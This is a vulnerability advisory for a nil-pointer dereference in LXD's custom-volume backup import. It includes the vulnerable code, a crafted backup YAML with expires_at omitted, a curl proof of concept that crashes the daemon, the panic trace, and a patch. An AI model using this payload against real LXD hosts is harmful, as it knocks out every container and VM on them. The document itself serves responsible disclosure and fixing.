GHSA-j93m-3j9p-m5m8MediumCVSS 6.5

LXD has CreateCustomVolumeFromBackup nil-pointer dereference on volumes[0].snapshots[*].expires_at

Published
November 6, 2026
Last Modified
November 6, 2026

🔗 CVE IDs covered (1)

📋 Description

Summary

(sibling-field variant of CVE-2026-40197 fix 05bc272)

(*lxdBackend).CreateCustomVolumeFromBackup in lxd/storage/backend_lxd.go contains an unguarded *time.Time dereference on the ExpiresAt field of every volume-snapshot entry in an imported custom-volume backup. An authenticated user with EntitlementCanCreateStorageVolumes permission on any project can crash the lxd daemon by uploading a backup tarball whose volumes[0].snapshots[*].expires_at field is omitted.

This is a sibling-field variant of the CVE-2026-40197 fix (commit 05bc272, "Validate snapshots from backup.yaml are non-nil", cherry-picked from incus commit 985a1dedf / GHSA-r7w7-mmxr-47r9). That fix added if snap == nil guards at several consumer sites, but did not guard the adjacent *snapshot.ExpiresAt deref at line 8216. Every other consumer of this field in the same file already gates the deref with if … != nil (e.g. lines 1010-1011, 1274-1275, 1856-1857, 2454-2455, 5070-5071, 5527-5528). Asymmetric guard is the bug.

Vulnerable code

lxd/storage/backend_lxd.go, CreateCustomVolumeFromBackup:

// Line 8141-8150 — earliest snapshot validation pass (caches s == nil)
for i, snap := range customVol.Snapshots {
    if snap == nil {
        return fmt.Errorf("Nil custom volume snapshot definition found at index %d", i)
    }
    err = drivers.ValidVolumeName(snap.Name)
    ...
}

// Line 8196-8216 — the snapshot DB-create loop
for i, s := range customVol.Snapshots {
    if s == nil {
        return fmt.Errorf("Nil custom volume snapshot definition found at index %d", i)
    }
    snapshot := s
    ...
    // Line 8216 — UNGUARDED *time.Time deref:
    err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description,
        snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt,
        *snapshot.ExpiresAt,           // <-- panics when expires_at omitted in YAML
        snapVol.ContentType(), true, true)

ExpiresAt is declared *time.Time (shared/api/storage_pool_volume_snapshot.go). Every other consumer in the same file already uses the safe pattern (if … != nil { … = *… }):

| Line | Code | Guarded? | |------|------|----------| | 1010-1011 | rootVol.Snapshots[i].ExpiresAt | YES | | 1274-1275 | rootVol.Snapshots[i].ExpiresAt | YES | | 1558-1559 | srcSnap.ExpiresAt | YES | | 1856-1857 | rootVol.Snapshots[i].ExpiresAt | YES | | 2454-2455 | rootVol.Snapshots[i].ExpiresAt | YES | | 5070-5071 | customVol.Snapshots[i].ExpiresAt | YES | | 5527-5528 | srcSnap.ExpiresAt | YES | | 8216 | CreateCustomVolumeFromBackup snapshot.ExpiresAt | NO |

Reach

  1. Attacker is an authenticated client (TLS cert, OIDC, or unix socket) with the EntitlementCanCreateStorageVolumes entitlement on any project. Same auth gate as CVE-2026-40197.
  2. POST /1.0/storage-pools/<pool>/volumes/custom with Content-Type: application/octet-stream and X-LXD-name: <name>.
  3. Body is a tar containing backup/index.yaml with type: custom, volumes[0] non-nil, and volumes[0].snapshots[0] non-nil but missing expires_at.
  4. lxd/storage_volumes.go:storagePoolVolumesPost -> backup.GetInfo parses the yaml -> pool.CreateCustomVolumeFromBackup -> the validations at 8141-8150 + 8197 pass (snapshot pointer is non-nil, name is valid) -> *snapshot.ExpiresAt on line 8216 panics on the nil *time.Time.
  5. The Go runtime kills the entire lxd daemon process. Repeated POSTs are a persistent denial of service.

Minimal backup/index.yaml:

name: poc-vol
backend: dir
pool: default
type: custom
optimized: false
optimized_header: false
snapshots: [snap0]
config:
  version: 2
  pools:
    - {name: default, driver: dir, config: {}}
  volumes:
    - name: poc-vol
      type: custom
      pool: default
      content_type: filesystem
      config: {}
      snapshots:
        - name: snap0
          description: snap0
          config: {}
          # expires_at intentionally omitted

Proof of concept (end-to-end against running daemon)

Bundled in the report: make_backup.sh + the resulting 516-byte poc-vol-lxd.tar.gz.

Tested against lxd 6.8 (HEAD of canonical/lxd at the time of testing, built from source with make deps && go build -tags libsqlite3 ./lxd). Daemon started with default dir storage pool.

$ curl -s --unix-socket /var/lib/lxd/unix.socket -X POST \
    --data-binary @/tmp/poc-vol-lxd.tar.gz \
    -H 'Content-Type: application/octet-stream' \
    -H 'X-LXD-name: poc-vol' \
    http://lxd/1.0/storage-pools/default/volumes/custom
{"type":"async","status":"Operation created","status_code":100,...}

$ ps -ef | grep lxd | grep -v grep    # daemon GONE

Daemon panic from /tmp/lxd.out:

panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x11015e8]

goroutine 683 [running]:
github.com/canonical/lxd/lxd/storage.(*lxdBackend).CreateCustomVolumeFromBackup(...)
    github.com/canonical/lxd/lxd/storage/backend_lxd.go:8216 +0xf58
main.createStoragePoolVolumeFromBackup.func6(...)
    github.com/canonical/lxd/lxd/storage_volumes.go:2879 +0x2a0
github.com/canonical/lxd/lxd/operations.(*Operation).start.func1(...)
    github.com/canonical/lxd/lxd/operations/operations.go:588 +0x6c
created by github.com/canonical/lxd/lxd/operations.(*Operation).start in goroutine 655
    github.com/canonical/lxd/lxd/operations/operations.go:541 +0x2b8

Stack frame backend_lxd.go:8216 is the literal *snapshot.ExpiresAt line.

Impact

  • Severity: denial of service against the entire lxd daemon process. Every container / VM / storage operation on the host (and on the cluster member, if clustered) is aborted; subsequent requests fail until an operator restarts the process.
  • Privileges required: any authenticated user with can_create_storage_volumes on any project. Not behind the admin tier.
  • Network attack surface: the LXD REST API on :8443 or the unix socket.
  • CWE-476 — Nil-Pointer Dereference. CVSS estimate: 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).
  • Versions: confirmed at lxd 6.8 (HEAD); the same code exists in the v5.21 LTS line as the parent fix 05bc272 was a cherry-pick from incus.

Suggested fix

Mirror the guard pattern already in use elsewhere in this file:

--- a/lxd/storage/backend_lxd.go
+++ b/lxd/storage/backend_lxd.go
@@ -8210,9 +8210,14 @@ func (b *lxdBackend) CreateCustomVolumeFromBackup(...) error {
         snapVolStorageName := project.StorageVolume(srcBackup.Project, fullSnapName)
         snapVol := b.GetNewVolume(drivers.VolumeTypeCustom, drivers.ContentType(customVol.ContentType), snapVolStorageName, snapshot.Config)

         // Validate config and create database entry for new storage volume.
         // Strip unsupported config keys (in case the export was made from a different type of storage pool).
-        err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, *snapshot.ExpiresAt, snapVol.ContentType(), true, true)
+        var snapExpiryDate time.Time
+        if snapshot.ExpiresAt != nil {
+            snapExpiryDate = *snapshot.ExpiresAt
+        }
+
+        err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, snapExpiryDate, snapVol.ContentType(), true, true)
         if err != nil {
             return err
         }

Related advisories

  • GHSA-r7w7-mmxr-47r9 (CVE-2026-40197) / commit 05bc272 (cherry-pick of incus 985a1dedf) — parent fix: added s == nil checks at multiple consumer sites, missed the *snapshot.ExpiresAt deref at line 8216.
  • lxc/incus GHSA-xhqx-mgh3-3h7q (sibling report filed by same reporter against the upstream-equivalent line internal/server/storage/backend.go:7731 in incus).

The shape is "incomplete fix on a sibling field of the same struct" — the maintainer walked nil-checks for the iteration-variable pointer but did not walk every adjacent pointer field that the loop body still dereferences.

Reporter notes

Reported via Privately-Reported Vulnerability against canonical/lxd by tonghuaroot.

🎯 Affected products1

  • go/github.com/canonical/lxd:< 0.0.0-20260622081844-85f897013ccd

🔗 References (12)